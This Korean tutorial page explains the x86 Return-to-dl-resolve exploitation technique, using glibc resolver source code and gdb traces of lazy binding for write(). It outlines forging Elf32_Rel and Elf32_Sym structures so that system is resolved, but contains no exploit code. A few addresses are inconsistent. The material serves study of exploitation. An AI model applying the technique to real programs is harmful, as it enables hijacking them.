Excuse the ads! We need some help to keep our site up.
List
Return-to-dl-resolve - x86
- Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
- Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.
Lazy binding
Flow
- Lazy binding을 위해 다음과 같이 함수가 호출됩니다.
- _dl_runtime_resolve() → _dl_fixup() → _dl_lookup_symbol_x() → do_lookup_x()→ check_match()
Source code - struct
- Elf32_Rel 구조체는 재배치 테이블 항목을 저장합니다.
typedef uint32_t Elf32_Word; typedef uint32_t Elf32_Addr; /* Relocation table entry without addend (in section of type SHT_REL). */ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel;
- Elf32_Rel 구조체의 r_info 값은 다음과 같이 2가지 값으로 분할됩니다.
- ELF32_R_SYM
- ELF32_R_TYPE
- ELF32_R_SYM
/* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff)
- Elf32_Sym 구조체는 심볼 테이블 정보를 저장합니다.
typedef uint16_t Elf32_Section; /* Symbol table entry. */ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
Source code
- _dl_runtime_resolve() 함수는 다음과 같이 동작합니다.
- _dl_fixup() 함수에 전달된 인자 값을 레지스터에 저장 후 _dl_fixup() 함수를 호출합니다.
- _dl_fixup() 함수에 전달되는 인자 값은 2개 입니다.
- struct link_map *
reloc_arg
_dl_runtime_resolve: ... # Copy args pushed by PLT in register. # %rdi: link_map, %rsi: reloc_index mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP call _dl_fixup # Call resolver. mov %RAX_LP, %R11_LP # Save return value # Get register content back. ...
_dl_fixup() 함수는 다음과 같이 동작합니다.
- 이 함수는 D_PTR 매크로 함수를 이용하여 link_map 구조체에서 DT_SYMTAB, DT_STRTAB 영역의 주소 값을 symtab, strtab 변수에 저장합니다.
- ".rel.plt"영역에서 찾고자 하는 함수의 ".got.plt" 영역의 주소를 reloc 변수에 저장합니다.
- reloc_offset은 _dl_fixup() 함수에 전달 된 reloc_arg인수 입니다.
- reloc 구조체 변수에서 r_info의 값을 이용하여 R_SYM정보를 추출합니다.
- 찾고자 하는 함수의 Symbol table의 주소를 sym변수에 저장합니다.
#ifndef reloc_offset # define reloc_offset reloc_arg # define reloc_index reloc_arg / sizeof (PLTREL) #endif ... DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; ... result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); ... }
- _dl_lookup_symbol_x() 함수는 다음과 같이 동작합니다.
- 해당 프로그램에서 사용되는 라이브러리 파일 정보를 확인 합니다.
- dl_new_hash() 함수를 이용하여 undef_name에 저장된 값을 이용해 생성한 hash값을 new_hash 변수에 저장합니다.
- do_lookup_x() 함수를 이용하여 라이브러리 파일에서 binding이 필요한 함수를 찾습니다.
lookup_t _dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map, const ElfW(Sym) **ref, struct r_scope_elem *symbol_scope[], const struct r_found_version *version, int type_class, int flags, struct link_map *skip_map) { const uint_fast32_t new_hash = dl_new_hash (undef_name); ... int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref, ¤t_value, *scope, start, version, flags, skip_map, type_class, undef_map); ... }
do_lookup_x() 함수는 다음과 같이 offset값을 추출합니다.
scope→r_listdp 에 저장된 값을 이용하여 해당프로그램에서 사용하는 라이브러리 파일의 정보를 가져올수 있습니다.
이 정보를 이용해 로드된 라이브러리 파일의 DT_SYMTAB, DT_STRTAB 영역 주소를 이용해 함수의 offset을 찾습니다.
map→l_gnu_buckets[], new_hash, map→l_nbuckets 변수를 이용하여 bucket을 추출합니다.
bucket 값을 이용해 map→l_gnu_chain_zero[] 배열에서 값을 추출해 *hasharr 변수에 값을 저장합니다.
*hasharr 변수에 저장된 값과 new_hash에 저장된 값을 xor과 shift연산을 통해 값이 0과 같은지 확인합니다.
연산된 값이 0과 같다면 "hasharr - map→l_gnu_chain_zero" 연산을 통해 찾고자하는 함수의 symidx 값을 얻게됩니다.
연산된 값이 0과 다를 경우 while()문에 의해 *hasharr의 값을 증가시켜 다시 확인합니다.
symidx 값을 이용하여 symtab[] 배열에서 찾고자하는 함수의 offset 값을 확인할 수 있습니다.
static int __attribute_noinline__ do_lookup_x (const char *undef_name, uint_fast32_t new_hash, unsigned long int *old_hash, const ElfW(Sym) *ref, struct sym_val *result, struct r_scope_elem *scope, size_t i, const struct r_found_version *const version, int flags, struct link_map *skip, int type_class, struct link_map *undef_map) { struct link_map **list = scope->r_list; do { const struct link_map *map = list[i]->l_real; ... Elf_Symndx symidx; int num_versions = 0; const ElfW(Sym) *versioned_sym = NULL; /* The tables for this map. */ const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]); const ElfW(Sym) *sym; const ElfW(Addr) *bitmask = map->l_gnu_bitmask; ... if (__glibc_unlikely ((bitmask_word >> hashbit1) & (bitmask_word >> hashbit2) & 1)) { Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets]; if (bucket != 0) { const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket]; do if (((*hasharr ^ new_hash) >> 1) == 0) { symidx = hasharr - map->l_gnu_chain_zero; sym = check_match (undef_name, ref, version, flags, type_class, &symtab[symidx], symidx, strtab, map, &versioned_sym, &num_versions); if (sym != NULL) goto found_it; } while ((*hasharr++ & 1u) == 0); } ... } while (++i < n); /* We have not found anything until now. */ return 0; }
- 즉, Lazy binding은 찾고자하는 함수의 이름이 이용하여 동적 라이브러리에서 해당 함수의 코드영역을 찾습니다.
Return-to-dl-resolve 기법은 다음과 같은 방식으로 원하는 함수를 호출합니다.
메모리 영역에 "Fake struct Elf32_Rel", "Fake struct Elf32_Sym" 구조체, "찾고자하는 함수의 명(system)"를 저장합니다.
"reloc_offset"을 이용하여 "Fake struct Elf32_Rel" 영역에 접근 합니다.
"Fake struct Elf32_Rel"를 이용하여 "Fake struct Elf32_Sym" 영역에 접근 합니다.
"Elf32_Sym ->st_name"을 이용하여 앞에서 저장한 함수 명(system)을 가리키도록 합니다.
Debug
- 해당 프로그램에서는 main() 함수에서 write() 함수를 처음 호출하게됩니다.
- 디버깅을 위해 0x8048320 영역에 Break point를 설정합니다.
lazenca0x0@ubuntu:~/Documents$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0804845a <+0>: lea ecx,[esp+0x4] 0x0804845e <+4>: and esp,0xfffffff0 0x08048461 <+7>: push DWORD PTR [ecx-0x4] 0x08048464 <+10>: push ebp 0x08048465 <+11>: mov ebp,esp 0x08048467 <+13>: push ecx 0x08048468 <+14>: sub esp,0x4 0x0804846b <+17>: sub esp,0x4 0x0804846e <+20>: push 0xa 0x08048470 <+22>: push 0x8048510 0x08048475 <+27>: push 0x1 0x08048477 <+29>: call 0x8048320 <write@plt> 0x0804847c <+34>: add esp,0x10 0x0804847f <+37>: call 0x804843b <vuln> 0x08048484 <+42>: nop 0x08048485 <+43>: mov ecx,DWORD PTR [ebp-0x4] 0x08048488 <+46>: leave 0x08048489 <+47>: lea esp,[ecx-0x4] 0x0804848c <+50>: ret End of assembler dump. gdb-peda$ b *0x8048320 Breakpoint 1 at 0x8048320 gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/dl_resolve/rop
- write@plt 영역에서는 0x804a014 영역에 저장된 주소로 이동하게 됩니다.
- 해당 영역에 다음 코드의 주소 값이 저장되어 있습니다.
- 2번째 호출 부터는 해당 영역에 Libc의 주소 값이 저장되어 Binding 과정이 생략됩니다.
다음 코드에서는 스택에 0x10을 저장한 후 0x80482f0 영역으로 이동합니다.
- Stack에 저장된 값은 _dl_fixup() 함수의 두번째 인자 값(reloc_arg) 입니다.
- 해당 영역에 다음 코드의 주소 값이 저장되어 있습니다.
Breakpoint 1, 0x08048320 in write@plt () gdb-peda$ disassemble write Dump of assembler code for function write@plt: 0x08048320 <+0>: jmp DWORD PTR ds:0x804a014 0x08048326 <+6>: push 0x10 0x0804832b <+11>: jmp 0x80482f0 End of assembler dump. gdb-peda$ x/wx 0x804a014 0x804a014: 0x08048326 gdb-peda$ b *0x80482f0 Breakpoint 2 at 0x80482f0 gdb-peda$
- 다음 코드에서는 push 명령어에 의해 0x804a004 영역에 저장된 값을 Stack에 저장합니다.
- 0x804a004 영역에 저장된 값은 0xb7fff918 입니다.
- 해당 값은 _dl_fixup() 함수의 첫번째 인자 값(struct link_map *l) 입니다.
- 다음 코드에서는 jmp 명령어에 의해 0x804a008 영역에 저장된 주소 값으로 이동합니다.
- 0x804a008 영역에 저장된 값은 0xb7ff0020 입니다.
- 해당 영역은 _dl_runtime_resolve() 함수의 시작 주소 입니다.
gdb-peda$ c Continuing. Breakpoint 2, 0x080482f0 in ?? () gdb-peda$ x/2i $eip => 0x80482f0: push DWORD PTR ds:0x804a004 0x80482f6: jmp DWORD PTR ds:0x804a008 gdb-peda$ x/wx 0x804a004 0x804a004: 0xb7fff918 gdb-peda$ x/5wx 0xb7fff918 0xb7fff918: 0x00000000 0xb7fffc04 0x08049f14 0xb7fffc08 0xb7fff928: 0x00000000 gdb-peda$ x/wx 0x804a008 0x804a008: 0xb7ff0020 gdb-peda$ x/2i 0xb7ff0020 0xb7ff0020 <_dl_runtime_resolve>: push eax 0xb7ff0021 <_dl_runtime_resolve+1>: push ecx gdb-peda$
_dl_runtime_resolve()
_dl_runtime_resolve() 함수에서는 다음과 같이 동작합니다.
eax,ecx,edx에 저장된 값을 Stack에 저장합니다.
eax 레지스터에는 _dl_fixup() 함수의 첫번째 인자 값(0xb7fff918)을 저장합니다.
edx 레지스터에는 _dl_fixup() 함수의 두번째 인자 값(0x10)을 저장합니다.
gdb-peda$ b *0xb7ff0020 Breakpoint 3 at 0xb7ff0020: file ../sysdeps/i386/dl-trampoline.S, line 35. gdb-peda$ c Continuing. gdb-peda$ disassemble _dl_runtime_resolve Dump of assembler code for function _dl_runtime_resolve: 0xb7ff0000 <+0>: push eax 0xb7ff0001 <+1>: push ecx 0xb7ff0002 <+2>: push edx 0xb7ff0003 <+3>: mov edx,DWORD PTR [esp+0x10] 0xb7ff0007 <+7>: mov eax,DWORD PTR [esp+0xc] 0xb7ff000b <+11>: call 0xb7fe97e0 <_dl_fixup> 0xb7ff0010 <+16>: pop edx 0xb7ff0011 <+17>: mov ecx,DWORD PTR [esp] 0xb7ff0014 <+20>: mov DWORD PTR [esp],eax 0xb7ff0017 <+23>: mov eax,DWORD PTR [esp+0x4] 0xb7ff001b <+27>: ret 0xc End of assembler dump. gdb-peda$ b *0xb7ff002b Breakpoint 4 at 0xb7ff002b: file ../sysdeps/i386/dl-trampoline.S, line 43. gdb-peda$ c Continuing. Breakpoint 4, _dl_runtime_resolve () at ../sysdeps/i386/dl-trampoline.S:43 43 in ../sysdeps/i386/dl-trampoline.S gdb-peda$ i r edx edx 0x10 0x10 gdb-peda$ i r eax eax 0xb7fff918 0xb7fff918 gdb-peda$
_dl_fixup()
- 해당 코드에 의해 edx 레지스터에 Elf32_Rel 구조체의 주소값이 저장됩니다.
DWORD PTR [ecx+0x4] 영역에 저장된 값은 ".rel.plt" 영역의 시작 주소입니다.
gdb-peda$ disassemble _dl_fixup Dump of assembler code for function _dl_fixup: 0xb7fe97e0 <+0>: push ebp 0xb7fe97e1 <+1>: push edi 0xb7fe97e2 <+2>: mov edi,eax 0xb7fe97e4 <+4>: push esi 0xb7fe97e5 <+5>: push ebx 0xb7fe97e6 <+6>: call 0xb7ff476d <__x86.get_pc_thunk.si> 0xb7fe97eb <+11>: add esi,0x15815 0xb7fe97f1 <+17>: sub esp,0x2c 0xb7fe97f4 <+20>: mov ecx,DWORD PTR [edi+0x7c] 0xb7fe97f7 <+23>: mov eax,DWORD PTR [eax+0x34] 0xb7fe97fa <+26>: mov DWORD PTR [esp+0x8],esi 0xb7fe97fe <+30>: add edx,DWORD PTR [ecx+0x4] ... gdb-peda$ b *0xb7fe97fe Breakpoint 3 at 0xb7fe97fe: file dl-runtime.c, line 71. gdb-peda$ c Breakpoint 3, _dl_fixup (l=0xb7fff918, reloc_arg=0x10) at dl-runtime.c:71 71 dl-runtime.c: No such file or directory. gdb-peda$ i r ecx ecx 0x8049f94 0x8049f94 gdb-peda$ x/wx 0x8049f94 + 0x4 0x8049f98: 0x080482b0 gdb-peda$ elfheader .rel.plt .rel.plt: 0x80482b0 - 0x80482c8 (rodata) gdb-peda$
- edx 레지스터에 저장된 값은 Elf32_Rel 구조체의 주소입니다.
- r_offset 값은 0x0804a014
- r_info의 ELF32_R_SYM 값은 0x4
- r_info의 ELF32_R_TYPE 값은 0x7
gdb-peda$ i r edx edx 0x10 0x10 gdb-peda$ #Elf32_Rel 구조체 gdb-peda$ x/2wx 0x080482b0 + 0x10 0x80482c0: 0x0804a014 0x00000407 gdb-peda$
- 해당 코드에서는 eax 레지스터에 .dynstr 의 시작 주소가 저장됩니다.
gdb-peda$ ni 69 in dl-runtime.c gdb-peda$ x/i $eip => 0xb7fe9801 <_dl_fixup+33>: mov eax,DWORD PTR [eax+0x4] gdb-peda$ i r eax eax 0x8049f54 0x8049f54 gdb-peda$ x/wx 0x8049f54 + 0x4 0x8049f58: 0x0804822c gdb-peda$ elfheader .dynstr .dynstr: 0x804822c - 0x804827c (rodata) gdb-peda$ x/10s 0x0804822c 0x804822c: "" 0x804822d: "libc.so.6" 0x8048237: "_IO_stdin_used" 0x8048246: "read" 0x804824b: "__libc_start_main" 0x804825d: "write" 0x8048263: "__gmon_start__" 0x8048272: "GLIBC_2.0" 0x804827c: "" 0x804827d: "" gdb-peda$ #Elf32_Sym 구조체 gdb-peda$ x/4wx 0x80481cc + 0x4 * 16 0x804820c: 0x00000031 0x00000000 0x00000000 0x00000012 gdb-peda$ #strtab + sym->st_name gdb-peda$ x/s 0x804822c + 0x31 0x804825d: "write" gdb-peda$
- 해당 코드에서는 ebx 레지스터에 .dynsym 영역의 시작 주소가 저장됩니다.
gdb-peda$ x/14i $eip => 0xb7fe9801 <_dl_fixup+33>: mov eax,DWORD PTR [eax+0x4] 0xb7fe9804 <_dl_fixup+36>: mov ecx,DWORD PTR [edi+0x38] 0xb7fe9807 <_dl_fixup+39>: mov DWORD PTR [esp+0xc],eax 0xb7fe980b <_dl_fixup+43>: mov ebp,edx 0xb7fe980d <_dl_fixup+45>: mov edx,DWORD PTR [edx+0x4] 0xb7fe9810 <_dl_fixup+48>: mov eax,DWORD PTR [ebp+0x0] 0xb7fe9813 <_dl_fixup+51>: mov esi,edx 0xb7fe9815 <_dl_fixup+53>: shr esi,0x8 0xb7fe9818 <_dl_fixup+56>: mov ebx,esi 0xb7fe981a <_dl_fixup+58>: shl ebx,0x4 0xb7fe981d <_dl_fixup+61>: add ebx,DWORD PTR [ecx+0x4] 0xb7fe9820 <_dl_fixup+64>: mov ecx,DWORD PTR [edi] 0xb7fe9822 <_dl_fixup+66>: add eax,ecx 0xb7fe9824 <_dl_fixup+68>: cmp dl,0x7 gdb-peda$ b *0xb7fe981d Breakpoint 3 at 0xb7fe981d: file dl-runtime.c, line 73. gdb-peda$ c Continuing. Breakpoint 3, 0xb7fe981d in _dl_fixup (l=0xb7fff918, reloc_arg=<optimized out>) at dl-runtime.c:73 73 in dl-runtime.c gdb-peda$ i r ecx ecx 0x8049f5c 0x8049f5c gdb-peda$ x/wx 0x8049f5c + 0x4 0x8049f60: 0x080481cc gdb-peda$ elfheader dynsym .dynsym: 0x80481cc - 0x804822c (rodata) #Elf32_Sym 구조체 gdb-peda$ x/4wx 0x80481cc + 0x4 * 16 0x804820c: 0x00000031 0x00000000 0x00000000 0x00000012 gdb-peda$
다음과 같이 _dl_lookup_symbol_x() 함수에 전달되는 첫번째 인자값을 확인 할 수 있습니다.
해당 프로그램의 ".dynstr" 영역 시작 주소(0x804822c)에 Elf32_Sym 구조체의 st_name 변수에 저장된 값(0x31)을 더합니다.
- 해당 영역(0x804825d)에 찾고자하는 함수의 이름(write)이 저장되어 있습니다.
gdb-peda$ x/30i $eip => 0xb7fe981d <_dl_fixup+61>: add ebx,DWORD PTR [ecx+0x4] ... 0xb7fe9882 <_dl_fixup+162>: mov eax,DWORD PTR [esp+0xc] 0xb7fe9886 <_dl_fixup+166>: add eax,DWORD PTR [ebx] 0xb7fe9888 <_dl_fixup+168>: lea ecx,[esp+0x1c] 0xb7fe988c <_dl_fixup+172>: sub esp,0xc 0xb7fe988f <_dl_fixup+175>: push 0x0 gdb-peda$ b *0xb7fe9882 Breakpoint 2 at 0xb7fe9882: file dl-runtime.c, line 111. gdb-peda$ c Continuing. Breakpoint 2, _dl_fixup (l=0xb7fff918, reloc_arg=<optimized out>) at dl-runtime.c:111 111 dl-runtime.c: No such file or directory. gdb-peda$ i r esp esp 0xbffff538 0xbffff538 gdb-peda$ x/wx 0xbffff538 + 0xc 0xbffff544: 0x0804822c gdb-peda$ elfheader .dynstr .dynstr: 0x804822c - 0x804827c (rodata) gdb-peda$ ni 0xb7fe9886 111 in dl-runtime.c gdb-peda$ x/i $eip => 0xb7fe9886 <_dl_fixup+166>: add eax,DWORD PTR [ebx] gdb-peda$ i r ebx ebx 0x804820c 0x804820c gdb-peda$ x/wx 0x804820c 0x804820c: 0x00000031 gdb-peda$ i r eax eax 0x804822c 0x804822c #strtab + sym->st_name gdb-peda$ x/s 0x804822c + 0x00000031 0x804825d: "write"
_dl_lookup_symbol_x()
다음과 코드에 의해 undef_name에 저장된 값에 대한 hash값을 연산합니다.
undef_name에 저장된 값은 "write"입니다.
dl_new_hash() 함수의 코드 영역은 0xb7fe4a90 ~ 0xb7fe4aa1 까지 입니다.
"write" 문자열에 대한 new_hash 값은 0x10a8b550 입니다.
gdb-peda$ disassemble _dl_lookup_symbol_x Dump of assembler code for function _dl_lookup_symbol_x: ... 0xb7fe4a90 <+48>: mov ecx,ebx 0xb7fe4a92 <+50>: add edx,0x1 0xb7fe4a95 <+53>: shl ecx,0x5 0xb7fe4a98 <+56>: add ebx,ecx 0xb7fe4a9a <+58>: add ebx,eax 0xb7fe4a9c <+60>: movzx eax,BYTE PTR [edx] 0xb7fe4a9f <+63>: test al,al 0xb7fe4aa1 <+65>: jne 0xb7fe4a90 <_dl_lookup_symbol_x+48> ... gdb-peda$ b *0xb7fe4a9a Breakpoint 3 at 0xb7fe4a9a: file dl-lookup.c, line 569. gdb-peda$ c Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569 569 dl-lookup.c: No such file or directory. gdb-peda$ c Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569 569 in dl-lookup.c gdb-peda$ Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569 569 dl-lookup.c: No such file or directory. gdb-peda$ Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569 569 in dl-lookup.c gdb-peda$ Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x8048261 "e") at dl-lookup.c:569 569 in dl-lookup.c gdb-peda$ ni 568 in dl-lookup.c gdb-peda$ i r ebx ebx 0x10a8b550 0x10a8b550 gdb-peda$
do_lookup_x()
다음 영역에서 "new_hash % map→l_nbuckets" 연산 결과를 확인 할 수 있습니다.
0xb7fe45a0영역에 Break point를 설정합니다.
- div 명령어에 의해 연산된 나머지 값을 저장하기 위해 xor명령어를 이용해 edx 레지스터의 값을 초기화 합니다.
- 나누기 대상인 new_hash(0x10a8b550) 를 eax 레지스터에 저장합니다.
- div 명령어를 이용하여 eax에 저장된 값과 esp + 0x18에 저장된 map→l_nbuckets(0x000003f3) 값을 나눕니다.
- 해당 값을 나누어 얻은 몫(0x437e2)은 eax에 저장되며, 나머지 값(0x3ca)은 edx에 저장됩니다.
gdb-peda$ disassemble do_lookup_x Dump of assembler code for function do_lookup_x: ... 0xb7fe45a0 <+1504>: xor edx,edx 0xb7fe45a2 <+1506>: mov eax,ebx 0xb7fe45a4 <+1508>: div DWORD PTR [esp+0x18] ... gdb-peda$ b *0xb7fe45a0 Breakpoint 2 at 0xb7fe45a0: file dl-lookup.c, line 413. gdb-peda$ c Continuing. Breakpoint 2, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, scope=0xb7fffa74, i=0x1, version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:413 413 dl-lookup.c: No such file or directory. gdb-peda$ ni 0xb7fe45a2 413 in dl-lookup.c gdb-peda$ i r edx edx 0x0 0x0 gdb-peda$ i r ebx ebx 0x10a8b550 0x10a8b550 gdb-peda$ ni 0xb7fe45a4 413 in dl-lookup.c gdb-peda$ i r esp esp 0xbffff3e8 0xbffff3e8 gdb-peda$ x/wx 0xbffff3e8 + 0x18 0xbffff400: 0x000003f3 gdb-peda$ p/x 0x10a8b550 / 0x000003f3 $1 = 0x437e2 gdb-peda$ ni 0xb7fe45a8 413 in dl-lookup.c gdb-peda$ i r eax eax 0x437e2 0x437e2 gdb-peda$ i r edx edx 0x3ca 0x3ca gdb-peda$
앞에서 연산한 값을 이용하여 bucket에 값을 저장합니다.
map->l_gnu_buckets 영역의 주소는 0xb7e099c8 입니다.
0xb7e099c8 + 0x3ca * 4 = 0xb7e0a8f0
bucket의 값은 0x912 입니다.
gdb-peda$ x/2i $eip => 0xb7fe45a8 <do_lookup_x+1512>: mov eax,DWORD PTR [edi+0x188] 0xb7fe45ae <do_lookup_x+1518>: mov eax,DWORD PTR [eax+edx*4] gdb-peda$ i r edi edi 0xb7fd51b0 0xb7fd51b0 gdb-peda$ x/wx 0xb7fd51b0 + 0x188 0xb7fd5338: 0xb7e099c8 gdb-peda$ ni 0xb7fe45ae 413 in dl-lookup.c gdb-peda$ i r eax eax 0xb7e099c8 0xb7e099c8 gdb-peda$ i r edx edx 0x3ca 0x3ca gdb-peda$ p/x 0xb7e099c8 + 0x3ca * 4 $3 = 0xb7e0a8f0 gdb-peda$ x/wx 0xb7e0a8f0 0xb7e0a8f0: 0x00000912 gdb-peda$ ni 415 in dl-lookup.c gdb-peda$ i r eax eax 0x912 0x912 gdb-peda$
앞에서 확인한 bucket 값을 이용하여 다음과 같이 *hasharr에 값을 저장합니다.
0xb7fe45c9 영역에 break point를 설정합니다.
- edx 레지스터에는 map->l_gnu_chain_zero의 주소 값이 저장되어 있습니다.
- eax 레지스터에는 bucket 값이 저장되어 있습니다.
edx+eax*4(0xb7e0a96c + 0x912 * 4) 연산의 결과 값은 0xb7e0cdb4 이며, 이 값이 hasharr의 값 입니다.
gdb-peda$ x/10i $eip => 0xb7fe45b1 <do_lookup_x+1521>: test eax,eax 0xb7fe45b3 <do_lookup_x+1523>: je 0xb7fe40d2 <do_lookup_x+274> 0xb7fe45b9 <do_lookup_x+1529>: mov edx,DWORD PTR [edi+0x18c] 0xb7fe45bf <do_lookup_x+1535>: mov DWORD PTR [esp+0x34],ebp 0xb7fe45c3 <do_lookup_x+1539>: mov ebp,ecx 0xb7fe45c5 <do_lookup_x+1541>: mov DWORD PTR [esp+0x7c],esi 0xb7fe45c9 <do_lookup_x+1545>: lea ebx,[edx+eax*4] 0xb7fe45cc <do_lookup_x+1548>: lea edx,[esp+0x48] 0xb7fe45d0 <do_lookup_x+1552>: mov DWORD PTR [esp+0x18],edx 0xb7fe45d4 <do_lookup_x+1556>: lea edx,[esp+0x4c] gdb-peda$ b *0xb7fe45c9 Breakpoint 3 at 0xb7fe45c9: file dl-lookup.c, line 417. gdb-peda$ c Continuing. Breakpoint 3, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, scope=0xb7fffa74, i=0x1, version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:417 417 in dl-lookup.c gdb-peda$ i r edx edx 0xb7e0a96c 0xb7e0a96c gdb-peda$ i r eax eax 0x912 0x912 gdb-peda$ p/x 0xb7e0a96c + 0x912 * 4 $4 = 0xb7e0cdb4 gdb-peda$ ni 423 in dl-lookup.c gdb-peda$ i r ebx ebx 0xb7e0cdb4 0xb7e0cdb4 gdb-peda$
*hasharr 의 값은 "while ((*hasharr++ & 1u) == 0)" 코드에 의해 증가되며, 다음과 같이 확인 할 수 있습니다.
ebx 레지스터에 hasharr 값(0xb7e0cdb4)이 저장되어 있으며, "++" 연산에 의해 0x4가 더해집니다.
gdb-peda$ x/10i $eip => 0xb7fe45cc <do_lookup_x+1548>: lea edx,[esp+0x48] 0xb7fe45d0 <do_lookup_x+1552>: mov DWORD PTR [esp+0x18],edx 0xb7fe45d4 <do_lookup_x+1556>: lea edx,[esp+0x4c] 0xb7fe45d8 <do_lookup_x+1560>: mov DWORD PTR [esp+0x20],edx 0xb7fe45dc <do_lookup_x+1564>: jmp 0xb7fe45eb <do_lookup_x+1579> 0xb7fe45de <do_lookup_x+1566>: xchg ax,ax 0xb7fe45e0 <do_lookup_x+1568>: add ebx,0x4 0xb7fe45e3 <do_lookup_x+1571>: test al,0x1 0xb7fe45e5 <do_lookup_x+1573>: jne 0xb7fe47fb <do_lookup_x+2107> 0xb7fe45eb <do_lookup_x+1579>: mov eax,DWORD PTR [ebx] gdb-peda$ b *0xb7fe45e0 Breakpoint 4 at 0xb7fe45e0: file dl-lookup.c, line 430. gdb-peda$ c Continuing. Breakpoint 4, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, scope=0xb7fffa74, i=0x1, version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:430 430 in dl-lookup.c gdb-peda$ i r ebx ebx 0xb7e0cdb4 0xb7e0cdb4 gdb-peda$ p/x 0xb7e0cdb4 + 0x4 $6 = 0xb7e0cdb8 gdb-peda$ ni 0xb7fe45e3 430 in dl-lookup.c gdb-peda$ i r al al 0x4a 0x4a gdb-peda$ ni 0xb7fe45e5 430 in dl-lookup.c gdb-peda$ i r eflags eflags 0x246 [ PF ZF IF ] gdb-peda$
- hasharr 영역에 저장된 값(0xb7e0ddb8)은 0x10a8b550(*hasharr) 이며, new_hash(0x10a8b550)의 값과 동일합니다.
gdb-peda$ ni 420 in dl-lookup.c gdb-peda$ i r ebx ebx 0xb7e0ddb8 0xb7e0ddb8 gdb-peda$ x/wx 0xb7e0ddb8 0xb7e0ddb8: 0x10a8b550 gdb-peda$ x/5i $eip => 0xb7fe45eb <do_lookup_x+1579>: mov eax,DWORD PTR [ebx] 0xb7fe45ed <do_lookup_x+1581>: mov edx,ebp 0xb7fe45ef <do_lookup_x+1583>: xor edx,eax 0xb7fe45f1 <do_lookup_x+1585>: shr edx,1 0xb7fe45f3 <do_lookup_x+1587>: jne 0xb7fe45e0 <do_lookup_x+1568> gdb-peda$ b *0xb7fe45ef Breakpoint 5 at 0xb7fe45ef: file dl-lookup.c, line 420. gdb-peda$ c Continuing. 420 in dl-lookup.c gdb-peda$ i r eax eax 0x10a8b550 0x10a8b550 gdb-peda$ i r edx edx 0x10a8b550 0x10a8b550 gdb-peda$ ni 0xb7fe45f1 420 in dl-lookup.c gdb-peda$ i r edx edx 0x0 0x0 gdb-peda$ p 0x0 >> 1 $8 = 0x0 gdb-peda$ ni 0xb7fe45f3 420 in dl-lookup.c gdb-peda$ i r eflags eflags 0x246 [ PF ZF IF ] gdb-peda$
- 다음과 같이 symidx의 값을 얻을 수 있습니다.
- esi 레지스터에 저장된 값은 0xb7fd51b0 이며, 해당 값은 map의 주소 입니다.
- 해당 주소에 0x18c을 더해서 map→l_gnu_chain_zero 변수의 주소(0xb7fd533c)를 얻을 수 있습니다.
- 해당 영역(0xb7fd533c)에 저장된 값은 0xb7e0a96c 입니다.
- 해당 값을 hasharr에 뺄셈한 값이 symidx 값 입니다.
- 0xb7e0cdb8 - 0xb7e0a96c = 0x244c
- 해당 값은 다음과 같이 변형됩니다.
- 0x244c >> 2 (0x244c / 4) = 0x913 (symidx)
